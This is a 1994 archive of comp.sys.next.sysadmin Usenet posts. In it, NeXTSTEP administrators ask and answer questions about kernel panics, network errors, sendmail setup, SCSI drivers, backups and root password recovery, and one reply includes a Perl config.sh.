phaedra: /usr/lib/lpd: indigo: Your host does not have line printer access
Am I missing something simple? Pointing me in the correct direction
would be greatly appreciated.
jim schaaf
jaschaaf@ucdavis.edu
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_______________________________________________________________
From: Scott McIntyre <S.A.McIntyre@durham.ac.uk>
Newsgroups: comp.sys.next.sysadmin
Subject: enrx errors (help)
Date: Fri, 27 May 1994 15:54:57 GMT
Organization: University of Durham, Durham, UK.
Sender: S.A.McIntyre@durham.ac.uk
Message-ID: <940527165457.227AACYE.scott@shrug>
Mime-Version: 1.0 (Generated by Eloquent)
Content-Type: text/plain; charset=US-ASCII
Keywords: network, buffers
This afternoon I started noticing the following on /usr/adm/messages --
whatever is going on is forcing my nextstation colour to completely hang, the
only way out seems to be to reboot.
May 27 15:24:30 shrug mach: enrx: no network buffers
May 27 15:25:23 shrug last message repeated 246 times
May 27 15:25:25 shrug mach: enrx: no network buffers
May 27 15:27:29 shrug last message repeated 440 times
May 27 15:27:30 shrug mach: enrx: no network buffers
May 27 15:38:09 shrug mach: enrx: no network buffers
May 27 15:38:09 shrug last message repeated 3 times
Any assistance as to what these mean and if there is a way I can fix it, would
be appreciated!!
Scott
From: sears@uh.edu (Paul S. Sears)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: enrx errors (help)
Date: 27 May 1994 19:00:07 GMT
Organization: University of Houston
Message-ID: <2s5fvn$jnv@masala.cc.uh.edu>
References: <940527165457.227AACYE.scott@shrug>
In article <940527165457.227AACYE.scott@shrug> Scott McIntyre
<S.A.McIntyre@durham.ac.uk> writes:
#This afternoon I started noticing the following on /usr/adm/messages --
#whatever is going on is forcing my nextstation colour to completely hang,
the
#only way out seems to be to reboot.
#
#May 27 15:24:30 shrug mach: enrx: no network buffers
#May 27 15:25:23 shrug last message repeated 246 times
#May 27 15:25:25 shrug mach: enrx: no network buffers
#May 27 15:27:29 shrug last message repeated 440 times
#May 27 15:27:30 shrug mach: enrx: no network buffers
#May 27 15:38:09 shrug mach: enrx: no network buffers
#May 27 15:38:09 shrug last message repeated 3 times
#
#Any assistance as to what these mean and if there is a way I can fix it,
would
#be appreciated!!
#
You just experiences some kind of "network storm" - likely a very large
number of broadcasts or error packets. Maybe a device on the segment has
gone screwy, partially disconnected, or looking for a server...
Solution, find the offending device and fix the problem...
#Scott
--
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The University of Houston * suggestions@tree.egr.uh.edu (NeXT
Engineering Computing Center * comments, complaints, questions)
NeXT System Administration * DoD#1967 '83 NightHawk 650SC
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"Programming is like sex: One mistake and you support it a lifetime."
Newsgroups: comp.sys.next.sysadmin
From: Robert La Ferla <Robert_La_Ferla@hot.com>
Subject: ntp
Message-ID: <1994May27.165629.9921@hot.com>
Sender: robertl@hot.com
Organization: Hot Technologies
Date: Fri, 27 May 1994 16:56:29 GMT
What is the latest version of ntp (that works on both NS3.2 Intel and
Sun) and where is it? Also, any tips on installing it would be
appreciated.
Thanks,
Robert
From: davidsen@vienna.hh.lib.umich.edu (Sue Davidsen)
Newsgroups: comp.sys.next.sysadmin
Subject: More system panics to ponder
Date: 27 May 1994 13:13:44 GMT
Organization: University of Michigan - College of Literature, Science, and TheArts
Message-ID: <2s4rm8$38l@controversy.math.lsa.umich.edu>
I, too, have been having more trouble than usual with system panics in the
last three weeks. I'm running a NeXTstation turbo under 3.0. It acts as a
gopher server and my personal workstation. I haven't made any changes
during this time period, so I don't know why these are suddenly occurring.
This is the usual message:
May 23 13:03:22 vienna mach: en0: stray xmit interrupt
May 23 14:42:23 vienna mach: Expanding zone pmap
May 23 21:19:05 vienna mach: Expanding zone threads
May 23 21:20:10 vienna mach: Expanding zone kernel map entries
May 24 06:22:05 vienna mach: zone "kernel map entries" rempty
May 24 06:22:06 vienna syslogd: going down on signal 15
I wonder if there's a conspiracy here ... [play Twilight Zone music here]
Any suggestions would be appreciated.
Sue
=====================================================
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Network Resources Librarian Voice: 313-936-2364
209 HHGL North Fax: 313-764-0259
The University of Michigan NeXTMail Welcome!
From: jklinke@aeon.ucsd.edu (Jochen Klinke)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware
Subject: Urgent: Next PC hangs during boot
Date: 27 May 1994 21:20:00 GMT
Organization: University of California at San Diego
Message-ID: <2s5o60$7c5@network.ucsd.edu>
I rebooted one of our Next PC's after changing the address of the
additional serial port (COM2) to 0x2f8 in the Configure.app. Now the
system hangs during boot while displaying the message 'Configuring Device
Drivers'. If I boot with config=Default, the computer hangs with the
message 'panic: Cpu(0) vfs_mount_root: cannot mount root' and 'Kernel
Panic Exception...waiting for remote debugger connection. Type 'c' to
continue or 'r' to reboot'. Typing 'c' at this stage only repeats the last
message, while typing 'r' reboots the machine. How do I get the system
back up? Any ideas?
jk
From: Matt.Demsey@McCaw.Com (ldq)
Newsgroups: comp.sys.next.sysadmin
Subject: Providing Internet service/determining POP
Date: 27 May 1994 21:00:43 GMT
Organization: McCaw Cellular Communications, Inc.
Message-ID: <2s5n1r$mjh@ftp-p.mccaw.com>
Hello; I have a friend who is interesting in providing Internet
service. Can any one provide me with a pointer to locating the
closest Point of Presence to his location.
E-mail would be great (as would NeXTMail)
thanks, loki
Newsgroups: comp.sys.next.sysadmin
From: boyan@tmnxt1.iit.edu
Subject: ncurses with NS 2.1?
Message-ID: <1994May27.221422.14532@iitmax.iit.edu>
Sender: news@iitmax.iit.edu (News)
Organization: Illinois Institute of Technology / Academic Computing Center
Date: Fri, 27 May 94 22:14:22 GMT
The subject line says it all - is it possible to compile
ncurses under NS 2.1? If yes, what do I need to get besides
ncurses-1.8.5.tar.gz and where can I find it?
If no, is it possible to turn underlining on and off with
the existing curses routines, e.g. smth like standout()
and standend()? It seems like it should be possible.
After all nfroff and ul do it all the time :-).
Please reply by email.
Thanks - Boyan
----
Boyan Boyanov
boyan@tmnxt1.iit.edu
--
----
Boyan Boyanov
boyan@tmnxt1.iit.edu
From: fliu@jedi.eng.uci.edu (Feng Liu)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware,comp.sys.next.software
Subject: panic doing gnutar with DAT on black
Date: 28 May 1994 00:36:51 GMT
Organization: University of California, Irvine
Message-ID: <2s63n3$mg2@news.service.uci.edu>
Keywords: panic, DAT, tar
NeXTStation 040 mono, Conner Python 2.0G DAT.
Just got this DAT and was doing as root
gnutar cvf /dev/rst0 /
/ directory contains two NFS mounts on two other machines, two
local disks, total space < 2.0 G byte.
System panics in the middle of gnutar.
The problem seems to be random. I was able to do the tar
with each of the local disks, never seemed to have a panic.
But system occasionally panics when doing tar (or gnutar) with
the NSF mounts. I am running NeXTSTEP 3.2.
System also panicked when I was doing rdump from an SGI Indigo to
the DAT on the NeXT.
When it panics it says (CPU0) bus error.
Any help is appreciated.
--
Feng Liu
Department of Mechanical and Aerospace Engineering
University of California, Irvine
Irvine, CA 92717
phone: 714-725-3105
From: eelco@bsovax.UUCP (Eelco Lammers)
Newsgroups: comp.sys.next.sysadmin
Subject: Blocking use of flopy drive
Keywords: security, floppy
Message-ID: <420@bsovax.UUCP>
Date: 26 May 94 13:53:37 GMT
Organization: BSO/AT Utrecht bv., P.O.Box 8052, 3503 RB UTRECHT, The Netherlands
Hello everybody,
Does anybody know how I can prevent end-users from accessing
the floppy drive ? After insertion of a floppy, the system
automatically mounts a file system with the following
permissions:
/floppy-label drwxrwxrwx (DOS floppy)
/floppy-label drwxr-xr-x (Next floppy)
The device drivers for the floppies have the floowing permissions:
/dev/rfd0b crw-rw---- (DOS floppy)
/dev/fd0a brw-rw---- (Next floppy)
Who or what determines the initial permission of the file system
created automatically after inserting the floppy, and how can I change
these initial permissions ?
With kind regards,
Eelco Lammers
s
From: wjs@yucca.omnigroup.com (William Shipley)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: INN, and mosaic
Date: 28 May 1994 00:22:34 -0700
Organization: Omni Development, Inc.
Message-ID: <2s6rfq$q2r@yucca.omnigroup.com>
References: <CqFMJw.61H@spcuna.spc.edu>
root@net23 (Operator) writes:
>There needs to be a DAMN GOOD version of Mosaic for NextStep. And it
>SHOULD look like the standard XMOSAIC. Omniweb is a nice try, but NOWHERE
>near as good..
Why should anything look like an X program? Yuk. The day I start doing
faithful NS versions of X programs is the day I become a Tibetian monk and
start hanging out with Cindy Crawford. (Hey, that doesn't sound so bad,
actually.)
Why isn't OmniWeb as good? You never sent us any mail asking for any
features. It seems to me like I've implemented most the features of
Mosaic. Forms is coming in 0.7, hopefully before Expo.
We're trying. We need the community's support. I've seen a lot of
people complain about WWW interfaces, but I see very few concrete
lists of things people want changed.
If you just make general complaints but never actually attempt to get
things changed, you're not part of the solution.
-Wil Shipley
From: robert@steffi.demon.co.uk (Robert Nicholson)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Sendmail.cf for NeXT's
Date: 28 May 1994 08:48:02 GMT
Organization: me organized? That's a joke!
Message-ID: <ROBERT.94May28094802@steffi.demon.co.uk>
References: <CpMnq0.8wo@haquer.uucp> <ROBERT.94May11131953@steffi.demon.co.uk>
<2ri9jg$nij@ppcger.ppc.sub.org>
To: sepp@ppcger.ppc.sub.org (Josef Wolf)
In-reply-to: sepp@ppcger.ppc.sub.org's message of 20 May 1994 14:14:40 +0200
<sepp@ppcger.ppc.sub.org> writes:
>In <ROBERT.94May11131953@steffi.demon.co.uk> robert@steffi.demon.co.uk (Robert Nicholson) writes:
>>If you have control over what you use. Consider smail 3.28... it's a
>>hell of lot simplier to set up and manage and fits in quite nicely
>>with NeXTSTEP.
>Maybe a silly question, but: Are there any reasons that smail is not shipped
>with the system? It seems most of the users install it anyway. So why
>not ship it?
I just want to mention that I got sick of smail since it didn't fit in
with Emacs's mail mode because there's a bug in smail's -t option
which mail mode uses.
I'm using sendmail V8.6.9 now and even though I've forgoed NETINFO
aliases I'm pretty happy with the results. I'm also content in knowing
that sendmail gets worked on more frequently than smail.
The best solution would be a sendmail V8 that supports NETINFO
aliasing like smail does. With sendmail V8's m4 configuration
procedure setting up sendmail.cf's is relatively trivial.
(GNU m4 needed to do this)
--
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From: swiet@syzygy.cs.jhu.edu (Alexander Swietlicki)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: INN, and mosaic
Date: 28 May 1994 11:19:58 GMT
Organization: Computer Science Department, The Johns Hopkins University
Message-ID: <SWIET.94May28071959@syzygy.cs.jhu.edu>
References: <CqFMJw.61H@spcuna.spc.edu> <2s6rfq$q2r@yucca.omnigroup.com>
In-reply-to: wjs@yucca.omnigroup.com's message of 28 May 1994 00:22:34 -0700
In article <2s6rfq$q2r@yucca.omnigroup.com> wjs@yucca.omnigroup.com (William Shipley) writes:
Why isn't OmniWeb as good? You never sent us any mail asking for any
features. It seems to me like I've implemented most the features of
Mosaic. Forms is coming in 0.7, hopefully before Expo.
We're trying. We need the community's support. I've seen a lot of
people complain about WWW interfaces, but I see very few concrete
lists of things people want changed.
Ok! Here's one all-important addition...can you make it work with term?
Not all of us have direct 'net access...
There is already a hacked-for-term Mosaic out there on sunsite.unc.edu,
so it can be done! :-)
Then, allow term or regular connections be enabled through preferences.
There are a whole bunch of us term users out there... :-)
From: Charles William Swiger <infidel+@CMU.EDU>
Newsgroups: comp.sys.next.hardware,comp.sys.next.software,comp.sys.next.sysadmin
Subject: Re: panic doing gnutar with DAT on black
Date: Sat, 28 May 1994 12:36:48 -0400
Organization: Carnegie Mellon, Pittsburgh, PA
Message-ID: <ohtrAUO00iUvM1MScS@andrew.cmu.edu>
In-Reply-To: <2s63n3$mg2@news.service.uci.edu>
Excerpts from netnews.comp.sys.next.hardware: 28-May-94 panic doing
gnutar with DAT.. by Feng Liu@jedi.eng.uci.ed
> NeXTStation 040 mono, Conner Python 2.0G DAT.
> Just got this DAT and was doing as root
> gnutar cvf /dev/rst0 /
>
> / directory contains two NFS mounts on two other machines, two
> local disks, total space < 2.0 G byte.
>
> System panics in the middle of gnutar.
"If it hurts, don't do it" is a pretty good rule to follow.
I would recommend doing filesystem-level backups (a) without the NFS
mounts present, (b) using dump / rdump, not gnutar, and (c) on unmounted
filesystems [if possible], not ones being actively used.
-Chuck
Charles William Swiger - WhiteLight Systems | "All the world's a stage, and"
--------------------------------------------+ "we are merely players...."
AMS & normal mail: infidel@cmu.edu |
NeXTmail: chuck@cswiger.slip.andrew.cmu.edu | "Semper ubi sub ubi."
From: chris@nice.usergroup.ethz.ch (Christian Limpach)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Sendmail.cf for NeXT's
Date: 28 May 1994 12:28:27 GMT
Organization: welcome to nowhere...
Message-ID: <CHRIS.94May28142828arkin@nice.usergroup.ethz.ch>
References: <CpMnq0.8wo@haquer.uucp> <ROBERT.94May11131953@steffi.demon.co.uk>
<2ri9jg$nij@ppcger.ppc.sub.org>
In-reply-to: sepp@ppcger.ppc.sub.org's message of 20 May 1994 14:14:40 +0200
Originator: ARKIN@nice
In article <2ri9jg$nij@ppcger.ppc.sub.org> sepp@ppcger.ppc.sub.org (Josef Wolf) writes:
> Maybe a silly question, but: Are there any reasons that smail is not shipped
> with the system? It seems most of the users install it anyway. So why
> not ship it?
sorry, but i don't think that most users install it. Of course, here
in this newsgroup, you will only read about those who install it, but
that's because those who are happy with sendmail don't need to talk
about it anyway... I don't know why anybody should install smail, so
why should NeXT ship it...
christian
From: chris@nice.usergroup.ethz.ch (Christian Limpach)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: INN, and mosaic
Date: 28 May 1994 12:33:00 GMT
Organization: welcome to nowhere...
Message-ID: <CHRIS.94May28143300arkin@nice.usergroup.ethz.ch>
References: <CqFMJw.61H@spcuna.spc.edu> <2s6rfq$q2r@yucca.omnigroup.com>
In-reply-to: wjs@yucca.omnigroup.com's message of 28 May 1994 00:22:34 -0700
Originator: ARKIN@nice
In article <2s6rfq$q2r@yucca.omnigroup.com> wjs@yucca.omnigroup.com (William Shipley) writes:
> We're trying. We need the community's support. I've seen a lot of
> people complain about WWW interfaces, but I see very few concrete
> lists of things people want changed.
i think that the UI of OmniWeb is way better than mosaic's UI. I
especially like the browser at the top of the window and the way
OmniWeb gets the pages, displaying the page immediately and then
putting in the images as soon as they are received.
christian
Newsgroups: comp.sys.next.sysadmin
From: paul@seer.demon.co.uk (Paul Lynch)
Subject: Re: Sendmail.cf for NeXT's
Message-ID: <1994May28.193547.1008@seer.demon.co.uk>
Sender: news@seer.demon.co.uk
Organization: P & L Systems
References: <2ri9jg$nij@ppcger.ppc.sub.org>
Date: Sat, 28 May 1994 19:35:47 GMT
In article <2ri9jg$nij@ppcger.ppc.sub.org> sepp@ppcger.ppc.sub.org (Josef
Wolf) writes:
> In <ROBERT.94May11131953@steffi.demon.co.uk> robert@steffi.demon.co.uk
(Robert Nicholson) writes:
>
> >If you have control over what you use. Consider smail 3.28... it's a
> >hell of lot simplier to set up and manage and fits in quite nicely
> >with NeXTSTEP.
>
> Maybe a silly question, but: Are there any reasons that smail is not
shipped
> with the system? It seems most of the users install it anyway. So why
> not ship it?
Because very few people actually install smail. Even if there are several
hundred people who reply to this post saying that they use smail, that
would still be a very small proportion of NeXTs. I don't know, but I
suspect that NeXTs come with sendmail simply because it was supplied with
the version of BSD that NeXT ported.
The effort (not to mention risk) of installing and supporting a new MTA,
for a less than expert user, or for a commercial site, is too much to
bear. Sendmail would have to have significant problems for that to be
required. Or more than a very few configuration file changes would be
required.
It is much easier to depend upon NeXT supporting a completely standard
configuration that make a change of this nature.
Which is by way of being a circuitous explanation for why it is important
for NeXT to keep the BSD layer and utilities up to date and bug fixed.
Paul
--
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P & L Systems (NeXTmail) paul@seer.demon.co.uk
Tel: (0494)671501 9 Stable Lane, Seer Green,
Fax: (0494)680228 Bucks, HP9 2YT, UK
Newsgroups: comp.sys.next.sysadmin
From: matt@WalkingDog.com (Matt Brandt)
Subject: Sendmail.cf for use with slip
Message-ID: <1994May28.213533.318@drefla.mese.com>
Sender: matt@drefla.mese.com
Organization: Walking Dog Design Inc.
Date: Sat, 28 May 1994 21:35:33 GMT
Does anyone out there have a sendmail.cf that works with slip? I have a slip
connection set up and it works fine for things like ftp and telnet and even
accepts incomming smtp traffic but if I try to mail something to an outside
domain I get the following messages:
--------------------- begin bounced message ----------------
From agent Sat May 28 17:31:21 1994
Return-Path: <Mailer-Agent>
Received: by drefla.walkingdog.com (NX5.67d/NX3.0M)
id AA00294; Sat, 28 May 94 17:31:17 -0400
Date: Sat, 28 May 94 17:31:17 -0400
From: NeXT Mail Agent <Mailer-Agent>
Subject: Returned mail: Service unavailable
Message-Id: <9405282131.AA00294@drefla.walkingdog.com>
To: matt
----- Transcript of session follows -----
While connected to walkingdog.com:
>>> HELO drefla.walkingdog.com
<<< 553 drefla.walkingdog.com config error: mail loops back to myself
554 matt@cherry.atlanta.com... 554 Service unavailable
----- Unsent message follows -----
Return-Path: <matt>
Received: by drefla.walkingdog.com (NX5.67d/NX3.0M)
id AA00290; Sat, 28 May 94 17:31:17 -0400
Date: Sat, 28 May 94 17:31:17 -0400
From: Matt Brandt <matt>
Message-Id: <9405282131.AA00290@drefla.walkingdog.com>
Received: by NeXT.Mailer (1.100)
Received: by NeXT Mailer (1.100)
To: matt@cherry.atlanta.com
Subject: test
Reply-To: matt@drefla.walkingdog.com
bouncing message
----------------------- end bounced message ------------------------
By way of explaination drefla.walkingdog.com is my machine and
cherry.atlanta.com is the destination machine on the slip connected network.
How to fix this?
Matt
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-------------------------------------------------------------
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From: rob@clubside.digex.net (Rob Crittenden)
Newsgroups: comp.sys.next.sysadmin
Subject: SCSI Support for Pro Audio Spectrum 16???
Date: Sat, 28 May 1994 18:30:01
Organization: Clubside
Message-ID: <rob.2.001280A8@clubside.digex.net>
Summary: is the pas supported
Keywords: scsi support
Hello, I just received NeXTStep for Intel on Friday, and I talked to Andy
Creach at NeXT about supported SCSI controllers for installation. I asked if
the Pro Audio Spectrum 16's scsi was supported, and after checking with
someone he said yes.
However, this hasn't worked. The drive works fine uder DOS. NeXT says "No SCSI
or CD-ROM." Is there a fix? Is it the Pro Audio Studio from Mediavision that's
supported? Is the Adapted 152x series supported?
The bottom line is that an Adapted 1542 is $359 vs. $99 for a sound card.
Since all I want is the CD for installation (I have 3 IDE hard drives), I
don't think that's reasonable money to hang a $299 CD-ROM off of.
Any help or suggestions would be greatly appreciated!
Chris
From: rogerhsu@kaiwan.com (Roger Hsu)
Newsgroups: comp.sys.next.sysadmin
Subject: BusLogic 742 SCSI Adapter Driver Needed
Date: 28 May 1994 17:26:21 -0700
Organization: KAIWAN Internet (310/527-4279,818/756-0180,714/741-2920)
Message-ID: <2s8nfd$ssp@kaiwan.kaiwan.com>
Hi,
I am in need of the driver of a BusLogic 742 EISA SCSI controller card.
I have downloaded a driver file called "next3_2.tz" from BusLogic's BBS
in a DOS environment. But, I have no way to use the file while installing
the NS/FIP. One of my friends has a running NS/FIP box, but he also doesn't
know how to make an useful disk for the installation. If anyone knows how
to make this file workable for installation or, even better, has the driver
file can be used for installation, please let me know through e-mail
"rogerhsu@kaiwan.com".
Thanks in advanced!
Roger
rogerhsu@kaiwan.com
Newsgroups: comp.sys.next.sysadmin
From: Jacques Garbi
Subject: Manual Pages
Message-ID: <CqHGBo.1qL@touga.vd.alphanet.ch>
Sender: jacques@touga.vd.alphanet.ch (Jacques Garbi)
Organization: Touga Management SA
Date: Fri, 27 May 1994 22:40:36 GMT
Hi,
I just installed CNews to be able to run NewsGrazer and it tells me to
upgrade my manual pages so I can have them for rnews and so on.
I read the manual pages about catman but I didn't understand any of it.
I tried a few things but nothing worked. Could anyone tell me how to do it
?
Thanks !
I have another question :
I use tcsh as a shell for all my user, including root. I set that in
Terminal.app for each user. But when I do su from any user's Terminal, it
doesn't seem to use tcsh but csh or sh. How can I make su log using tcsh ?
Thanks a lot
Jacques GARBI
jacques@touga.vd.alphanet.ch
Newsgroups: comp.sys.next.sysadmin
From: paul@seer.demon.co.uk (Paul Lynch)
Subject: Re: Sendmail.cf for use with slip
Message-ID: <1994May28.224208.1670@seer.demon.co.uk>
Sender: news@seer.demon.co.uk
Organization: P & L Systems
References: <1994May28.213533.318@drefla.mese.com>
Date: Sat, 28 May 1994 22:42:08 GMT
In article <1994May28.213533.318@drefla.mese.com> matt@WalkingDog.com
(Matt Brandt) writes:
> Does anyone out there have a sendmail.cf that works with slip? I have a
slip
> connection set up and it works fine for things like ftp and telnet and
even
> accepts incomming smtp traffic but if I try to mail something to an
outside
> domain I get the following messages:
[chomp]
> While connected to walkingdog.com:
> >>> HELO drefla.walkingdog.com
> <<< 553 drefla.walkingdog.com config error: mail loops back to myself
> 554 matt@cherry.atlanta.com... 554 Service unavailable
Looks like you might be using mailhost.cf, and have set your mail-relay to
walkingdog.com (i.e. yourself). You might want to consider pointing to a
smart mailhost.
Paul
--
Paul Lynch
P & L Systems (NeXTmail) paul@seer.demon.co.uk
Tel: (0494)671501 9 Stable Lane, Seer Green,
Fax: (0494)680228 Bucks, HP9 2YT, UK
From: fliu@uci.edu (Feng Liu)
Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin
Subject: NS/I boot manager eraised after upgrading DOS 6.0 to 6.2
Date: 29 May 1994 07:08:19 GMT
Organization: University of California, Irvine
Message-ID: <2s9f14$cnn@news.service.uci.edu>
Two partitions on a 420MB IDE Drive:
DOS 6.0 --- 100MB
Rest is NS/I.
I just upgraded the DOS 6.0 partition to DOS 6.2 by using an upgrade
floppy.
After upgrading everything works fine except the original NS/I
boot manager is gone.
I can not choose to boot DOS or NS/I.
Instead I have to use fdisk to set the active partition in order to change
from DOS to NS/I or vice versa.
Is there any way to get back the NS bootmanager?
Thank you.
--
Feng Liu
Department of Mechanical and Aerospace Engineering
University of California, Irvine
Irvine, CA 92717
phone: 714-725-3105
From: rogerhsu@kaiwan.com (Roger Hsu)
Newsgroups: comp.sys.next.sysadmin
Subject: cmsg cancel <2s8nfd$ssp@kaiwan.kaiwan.com>
Control: cancel <2s8nfd$ssp@kaiwan.kaiwan.com>
Date: 29 May 1994 01:13:18 -0700
Organization: KAIWAN Internet (310/527-4279,818/756-0180,714/741-2920)
Message-ID: <2s9iqu$7i2@kaiwan.kaiwan.com>
<2s8nfd$ssp@kaiwan.kaiwan.com> was cancelled from within trn.
Newsgroups: comp.sys.next.sysadmin
From: kent@infoserv.com
Subject: Re: Lost root password on Next - manual's solution doesn't work?
Message-ID: <CqE0zz.2K6@infoserv.com>
Sender: kent@infoserv.com (Kent L. Shephard)
Organization: K. L. Shephard Consulting
References: <AJN.94May25131412@island.essex.ac.uk>
Date: Thu, 26 May 1994 02:16:47 GMT
In article <AJN.94May25131412@island.essex.ac.uk> ajn@island.essex.ac.uk
(Alastair) writes:
#We have a NextStation TurboColour (N1200) for which the root password has been
#lost. The machine is running NeXT Mach 3.0 and NextStep 3.0, with Rom Monitor
#version 3.3 v74. I followed the suggestion in the manual, holding down the
#command bar and hitting the ~` key right after the system testing message
#goes away - but to no avail it does not kick me into the rom monitor it just
#restarts the boot. Am I misreading the manual? not being quick enough? or is
#there some trick I am missing. Any help greatly appreciated.
#
#
#P.S. the manual mentioned pressing the ~` key on they key-pad - but there is
#no ~` key on the key pad...???
You have to hold down both command keys along with the '~'.
It's the ukey in the upper left corner on the keypad.
Kent
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Newsgroups: comp.lang.perl,comp.sys.next.sysadmin
From: steve@deltos.com (Steven R. Staton)
Subject: Compiling PERL on NS/3.2
Message-ID: <CqJqyB.7EG@deltos.uucp>
Sender: steve@deltos.uucp (Steven R. Staton)
Organization: Deltos Fleet Computing
Distribution: na
Date: Sun, 29 May 1994 04:25:23 GMT
I am building Perl on an original NeXT computer, running NeXTSTEP/3.2. I
can build Perl 4.036, but the "pw" functions are not available (e.g.
getpwuid, getpwname). NS/3.2 doesn't put some of the header files where
Perl expects them (e.g. Configure complains about not finding ctype.h,
which is in /usr/include/ansi on the NeXT).
I am looking for either 1) a Configure answer list that works for NS/3.2,
or 2) a pointer to a version of Perl that builds correctly on NS/3.2.
I wonder if Netinfo is causing the problem with the pw functions, or is it
simply that the header files are not in the places Perl expects them to
be?
--
Steven R. Staton | The two most common things
Deltos Fleet Computing | in the Universe are
From: robert@steffi.demon.co.uk (Robert Nicholson)
Newsgroups: comp.lang.perl,comp.sys.next.sysadmin
Subject: Re: Compiling PERL on NS/3.2
Date: 29 May 1994 13:10:40 GMT
Organization: me organized? That's a joke!
Distribution: na
Message-ID: <ROBERT.94May29141040@steffi.demon.co.uk>
References: <CqJqyB.7EG@deltos.uucp>
To: steve@deltos.com (Steven R. Staton)
In-reply-to: steve@deltos.com's message of Sun, 29 May 1994 04:25:23 GMT
<steve@deltos.com> writes:
>I am building Perl on an original NeXT computer, running NeXTSTEP/3.2. I
>can build Perl 4.036, but the "pw" functions are not available (e.g.
>getpwuid, getpwname). NS/3.2 doesn't put some of the header files where
>Perl expects them (e.g. Configure complains about not finding ctype.h,
>which is in /usr/include/ansi on the NeXT).
>I am looking for either 1) a Configure answer list that works for NS/3.2,
>or 2) a pointer to a version of Perl that builds correctly on NS/3.2.
>I wonder if Netinfo is causing the problem with the pw functions, or is it
>simply that the header files are not in the places Perl expects them to
>be?
The latter, basically its the include tree that perl sees.
#!/bin/sh
# config.sh
# This file was produced by running the Configure script.
d_eunice='undef'
define='define'
eunicefix=':'
loclist='
cat
cp
echo
expr
grep
mkdir
mv
rm
sed
sort
tr
uniq
'
expr='/bin/expr'
sed='/bin/sed'
echo='/bin/echo'
cat='/bin/cat'
rm='/bin/rm'
mv='/bin/mv'
cp='/bin/cp'
tail=''
tr='/usr/bin/tr'
mkdir='/bin/mkdir'
sort='/usr/bin/sort'
uniq='/usr/bin/uniq'
grep='/bin/grep'
trylist='
Mcc
bison
cpp
csh
egrep
line
nroff
perl
test
uname
yacc
'
test='test'
inews=''
egrep='/usr/bin/egrep'
more=''
pg=''
Mcc='Mcc'
vi=''
mailx=''
mail=''
cpp='/lib/cpp'
perl='/usr/local/bin/perl'
emacs=''
ls=''
rmail=''
sendmail=''
shar=''
smail=''
tbl=''
troff=''
nroff='/usr/bin/nroff'
uname='uname'
uuname=''
line='line'
chgrp=''
chmod=''
lint=''
sleep=''
pr=''
tar=''
ln=''
lpr=''
lp=''
touch=''
make=''
date=''
csh='/bin/csh'
bash=''
ksh=''
lex=''
flex=''
bison='bison'
Log='$Log'
Header='$Header'
Id='$Id'
lastuname='Configure: uname: not found'
alignbytes='2'
bin='/usr/local/bin'
installbin='/usr/local/bin'
byteorder='4321'
contains='grep'
cppstdin='cc -E'
cppminus='-'
d_bcmp='define'
d_bcopy='define'
d_safebcpy='define'
d_bzero='define'
d_castneg='define'
castflags='0'
d_charsprf='undef'
d_chsize='undef'
d_crypt='define'
cryptlib=''
d_csh='define'
d_dosuid='undef'
d_dup2='define'
d_fchmod='define'
d_fchown='define'
d_fcntl='define'
d_flexfnam='define'
d_flock='define'
d_getgrps='define'
d_gethent='define'
d_getpgrp='define'
d_getpgrp2='undef'
d_getprior='define'
d_htonl='define'
d_index='undef'
d_isascii='undef'
d_killpg='define'
d_lstat='define'
d_memcmp='define'
d_memcpy='define'
d_safemcpy='undef'
d_memmove='define'
d_memset='define'
d_mkdir='define'
d_msg='undef'
d_msgctl='undef'
d_msgget='undef'
d_msgrcv='undef'
d_msgsnd='undef'
d_ndbm='define'
d_odbm='define'
d_open3='define'
d_readdir='define'
d_rename='define'
d_rewindir='undef'
d_rmdir='define'
d_seekdir='define'
d_select='define'
d_sem='undef'
d_semctl='undef'
d_semget='undef'
d_semop='undef'
d_setegid='define'
d_seteuid='define'
d_setpgrp='define'
d_setpgrp2='undef'
d_setprior='define'
d_setregid='define'
d_setresgid='undef'
d_setreuid='define'
d_setresuid='undef'
d_setrgid='define'
d_setruid='define'
d_shm='undef'
d_shmat='undef'
d_voidshmat='undef'
d_shmctl='undef'
d_shmdt='undef'
d_shmget='undef'
d_socket='define'
d_sockpair='define'
d_oldsock='undef'
socketlib=''
d_statblks='define'
d_stdstdio='define'
d_strctcpy='define'
d_strerror='define'
d_symlink='define'
d_syscall='define'
d_telldir='define'
d_truncate='define'
d_vfork='define'
d_voidsig='define'
d_tosignal='int'
d_volatile='define'
d_vprintf='define'
d_charvspr='undef'
d_wait4='define'
d_waitpid='undef'
gidtype='gid_t'
groupstype='int'
i_fcntl='undef'
i_gdbm='undef'
i_grp='define'
i_niin='define'
i_sysin='undef'
i_pwd='define'
d_pwquota='define'
d_pwage='undef'
d_pwchange='undef'
d_pwclass='undef'
d_pwexpire='undef'
d_pwcomment='define'
i_sys_file='define'
i_sysioctl='define'
i_time='undef'
i_sys_time='define'
i_sys_select='undef'
d_systimekernel='undef'
i_utime='undef'
i_varargs='define'
i_vfork='undef'
intsize='4'
libc='/lib/libsys_s.a'
nm_opts=''
libndir=''
i_my_dir='undef'
i_ndir='undef'
i_sys_ndir='undef'
i_dirent='undef'
i_sys_dir='define'
d_dirnamlen='undef'
ndirc=''
ndiro=''
mallocsrc=''
mallocobj=''
d_mymalloc='undef'
mallocptrtype='void'
mansrc='/usr/local/man/mann'
manext='n'
models='none'
split=''
small=''
medium=''
large=''
huge=''
optimize='-O'
ccflags=' -I/usr/include'
cppflags=' -I/usr/include'
ldflags=''
cc='cc'
nativegcc='define'
libs='-ldbm -lsys_s'
n='-n'
c=''
package='perl'
randbits='31'
scriptdir='/usr/local/bin'
installscr='/usr/local/bin'
sig_name='ZERO HUP INT QUIT ILL TRAP ABRT EMT FPE KILL BUS SEGV SYS PIPE ALRM TERM URG STOP TSTP CONT CHLD TTIN TTOU IO XCPU XFSZ VTALRM PROF WINCH LOST USR1 USR2'
spitshell='cat'
shsharp='true'
sharpbang='#!'
startsh='#!/bin/sh'
stdchar='char'
uidtype='uid_t'
usrinclude='/usr/include/bsd'
inclPath=''
void=''
voidhave='7'
voidwant='7'
w_localtim='1'
w_s_timevl='1'
